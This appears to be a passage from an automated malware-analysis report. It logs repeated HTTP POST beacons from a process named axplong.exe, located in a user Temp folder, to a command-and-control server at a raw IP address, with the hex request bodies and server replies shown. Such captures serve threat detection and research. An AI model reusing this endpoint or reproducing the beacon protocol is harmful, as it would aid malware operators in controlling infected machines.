                      Sep 27, 2024 07:02:37.922290087 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 4
                      Cache-Control: no-cache
                      Data Raw: 73 74 3d 73
                      Data Ascii: st=s
                      Sep 27, 2024 07:02:38.622405052 CEST219INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:38 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Refresh: 0; url = Login.php
                      Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 1 0
                      Sep 27, 2024 07:02:38.623269081 CEST310OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 156
                      Cache-Control: no-cache
                      Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 31 41 31 34 45 43 45 46 32 46 44 33 33 43 32 30 34 41 36 42 34 30 43 30 41 35 43 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32
                      Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F1A14ECEF2FD33C204A6B40C0A5C70318BBC0065C0D5A95967DF4A060332
                      Sep 27, 2024 07:02:38.850204945 CEST196INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:38 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 7 <c><d>0


                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                      32192.168.2.849744185.215.113.16805760C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                      TimestampBytes transferredDirectionData
                      Sep 27, 2024 07:02:38.970168114 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 4
                      Cache-Control: no-cache
                      Data Raw: 73 74 3d 73
                      Data Ascii: st=s
                      Sep 27, 2024 07:02:39.704443932 CEST219INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:39 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Refresh: 0; url = Login.php
                      Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 1 0
                      Sep 27, 2024 07:02:39.705188990 CEST310OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 156
                      Cache-Control: no-cache
                      Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 31 41 31 34 45 43 45 46 32 46 44 33 33 43 32 30 34 41 36 42 34 30 43 30 41 35 43 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32
                      Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F1A14ECEF2FD33C204A6B40C0A5C70318BBC0065C0D5A95967DF4A060332
                      Sep 27, 2024 07:02:39.941068888 CEST196INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:39 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 7 <c><d>0


                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                      33192.168.2.849745185.215.113.16805760C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                      TimestampBytes transferredDirectionData
                      Sep 27, 2024 07:02:40.059350967 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 4
                      Cache-Control: no-cache
                      Data Raw: 73 74 3d 73
                      Data Ascii: st=s
                      Sep 27, 2024 07:02:40.766402006 CEST219INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:40 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Refresh: 0; url = Login.php
                      Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 1 0
                      Sep 27, 2024 07:02:40.767956018 CEST310OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 156
                      Cache-Control: no-cache
                      Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 31 41 31 34 45 43 45 46 32 46 44 33 33 43 32 30 34 41 36 42 34 30 43 30 41 35 43 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32
                      Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F1A14ECEF2FD33C204A6B40C0A5C70318BBC0065C0D5A95967DF4A060332
                      Sep 27, 2024 07:02:40.997365952 CEST196INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:40 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 7 <c><d>0


                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                      34192.168.2.849746185.215.113.16805760C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                      TimestampBytes transferredDirectionData
                      Sep 27, 2024 07:02:41.105438948 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 4
                      Cache-Control: no-cache
                      Data Raw: 73 74 3d 73
                      Data Ascii: st=s
                      Sep 27, 2024 07:02:41.825607061 CEST219INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:41 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Refresh: 0; url = Login.php
                      Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 1 0
                      Sep 27, 2024 07:02:41.826558113 CEST310OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 156
                      Cache-Control: no-cache
                      Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 31 41 31 34 45 43 45 46 32 46 44 33 33 43 32 30 34 41 36 42 34 30 43 30 41 35 43 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32
                      Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F1A14ECEF2FD33C204A6B40C0A5C70318BBC0065C0D5A95967DF4A060332
                      Sep 27, 2024 07:02:42.064119101 CEST196INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:41 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 7 <c><d>0


                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                      35192.168.2.849747185.215.113.16805760C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                      TimestampBytes transferredDirectionData
                      Sep 27, 2024 07:02:42.183870077 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 4
                      Cache-Control: no-cache
                      Data Raw: 73 74 3d 73
                      Data Ascii: st=s
                      Sep 27, 2024 07:02:42.916074991 CEST219INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:42 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Refresh: 0; url = Login.php
                      Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 1 0
                      Sep 27, 2024 07:02:42.916912079 CEST310OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 156
                      Cache-Control: no-cache
                      Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 31 41 31 34 45 43 45 46 32 46 44 33 33 43 32 30 34 41 36 42 34 30 43 30 41 35 43 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32
                      Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F1A14ECEF2FD33C204A6B40C0A5C70318BBC0065C0D5A95967DF4A060332
                      Sep 27, 2024 07:02:43.153337955 CEST196INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:43 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 7 <c><d>0


                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                      36192.168.2.849748185.215.113.16805760C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                      TimestampBytes transferredDirectionData
                      Sep 27, 2024 07:02:43.277520895 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 4
                      Cache-Control: no-cache
                      Data Raw: 73 74 3d 73
                      Data Ascii: st=s
                      Sep 27, 2024 07:02:43.987272978 CEST219INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:43 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Refresh: 0; url = Login.php
                      Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 1 0
                      Sep 27, 2024 07:02:43.989324093 CEST310OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 156
                      Cache-Control: no-cache
                      Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 31 41 31 34 45 43 45 46 32 46 44 33 33 43 32 30 34 41 36 42 34 30 43 30 41 35 43 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32
                      Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F1A14ECEF2FD33C204A6B40C0A5C70318BBC0065C0D5A95967DF4A060332
                      Sep 27, 2024 07:02:44.216675997 CEST196INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:44 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 7 <c><d>0


                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                      37192.168.2.849749185.215.113.16805760C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                      TimestampBytes transferredDirectionData
                      Sep 27, 2024 07:02:44.324258089 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 4
                      Cache-Control: no-cache
                      Data Raw: 73 74 3d 73
                      Data Ascii: st=s
                      Sep 27, 2024 07:02:45.019737005 CEST219INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:44 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Refresh: 0; url = Login.php
                      Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 1 0
                      Sep 27, 2024 07:02:45.020591021 CEST310OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 156
                      Cache-Control: no-cache
                      Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 31 41 31 34 45 43 45 46 32 46 44 33 33 43 32 30 34 41 36 42 34 30 43 30 41 35 43 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32
                      Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F1A14ECEF2FD33C204A6B40C0A5C70318BBC0065C0D5A95967DF4A060332
                      Sep 27, 2024 07:02:45.243815899 CEST196INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:45 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 7 <c><d>0


                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                      38192.168.2.849750185.215.113.16805760C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                      TimestampBytes transferredDirectionData
                      Sep 27, 2024 07:02:45.355938911 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 4
                      Cache-Control: no-cache
                      Data Raw: 73 74 3d 73
                      Data Ascii: st=s
                      Sep 27, 2024 07:02:46.054280043 CEST219INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:45 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Refresh: 0; url = Login.php
                      Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 1 0
                      Sep 27, 2024 07:02:46.055527925 CEST310OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 156
                      Cache-Control: no-cache
                      Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 31 41 31 34 45 43 45 46 32 46 44 33 33 43 32 30 34 41 36 42 34 30 43 30 41 35 43 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32
                      Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F1A14ECEF2FD33C204A6B40C0A5C70318BBC0065C0D5A95967DF4A060332
                      Sep 27, 2024 07:02:46.279892921 CEST196INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:46 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 7 <c><d>0


                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                      39192.168.2.849751185.215.113.16805760C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                      TimestampBytes transferredDirectionData
                      Sep 27, 2024 07:02:46.390621901 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 4
                      Cache-Control: no-cache
                      Data Raw: 73 74 3d 73
                      Data Ascii: st=s
                      Sep 27, 2024 07:02:47.092670918 CEST219INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:46 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Refresh: 0; url = Login.php
                      Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 1 0
                      Sep 27, 2024 07:02:47.105245113 CEST310OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 156
                      Cache-Control: no-cache
                      Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 31 41 31 34 45 43 45 46 32 46 44 33 33 43 32 30 34 41 36 42 34 30 43 30 41 35 43 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32
                      Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F1A14ECEF2FD33C204A6B40C0A5C70318BBC0065C0D5A95967DF4A060332
                      Sep 27, 2024 07:02:47.335144043 CEST196INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:47 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 7 <c><d>0


                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                      40192.168.2.849752185.215.113.16805760C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                      TimestampBytes transferredDirectionData
                      Sep 27, 2024 07:02:47.499707937 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 4
                      Cache-Control: no-cache
                      Data Raw: 73 74 3d 73
                      Data Ascii: st=s
                      Sep 27, 2024 07:02:48.217191935 CEST219INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:48 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Refresh: 0; url = Login.php
                      Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 1 0
                      Sep 27, 2024 07:02:48.218188047 CEST310OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 156
                      Cache-Control: no-cache
                      Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 31 41 31 34 45 43 45 46 32 46 44 33 33 43 32 30 34 41 36 42 34 30 43 30 41 35 43 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32
                      Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F1A14ECEF2FD33C204A6B40C0A5C70318BBC0065C0D5A95967DF4A060332
                      Sep 27, 2024 07:02:48.450290918 CEST196INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:48 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 7 <c><d>0


                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                      41192.168.2.849753185.215.113.16805760C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                      TimestampBytes transferredDirectionData
                      Sep 27, 2024 07:02:48.558999062 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 4
                      Cache-Control: no-cache
                      Data Raw: 73 74 3d 73
                      Data Ascii: st=s
                      Sep 27, 2024 07:02:49.262137890 CEST219INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:49 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Refresh: 0; url = Login.php
                      Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 1 0
                      Sep 27, 2024 07:02:49.264215946 CEST310OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 156
                      Cache-Control: no-cache
                      Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 31 41 31 34 45 43 45 46 32 46 44 33 33 43 32 30 34 41 36 42 34 30 43 30 41 35 43 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32
                      Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F1A14ECEF2FD33C204A6B40C0A5C70318BBC0065C0D5A95967DF4A060332
                      Sep 27, 2024 07:02:49.494240999 CEST196INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:49 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 7 <c><d>0


                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                      42192.168.2.849754185.215.113.16805760C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                      TimestampBytes transferredDirectionData
                      Sep 27, 2024 07:02:49.606859922 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 4
                      Cache-Control: no-cache
                      Data Raw: 73 74 3d 73
                      Data Ascii: st=s
                      Sep 27, 2024 07:02:50.334351063 CEST219INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:50 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Refresh: 0; url = Login.php
                      Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 1 0
                      Sep 27, 2024 07:02:50.342921019 CEST310OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 156
                      Cache-Control: no-cache
                      Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 31 41 31 34 45 43 45 46 32 46 44 33 33 43 32 30 34 41 36 42 34 30 43 30 41 35 43 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32
                      Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F1A14ECEF2FD33C204A6B40C0A5C70318BBC0065C0D5A95967DF4A060332
                      Sep 27, 2024 07:02:50.576261044 CEST196INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:50 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 7 <c><d>0


                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                      43192.168.2.849755185.215.113.16805760C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                      TimestampBytes transferredDirectionData
                      Sep 27, 2024 07:02:50.693644047 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
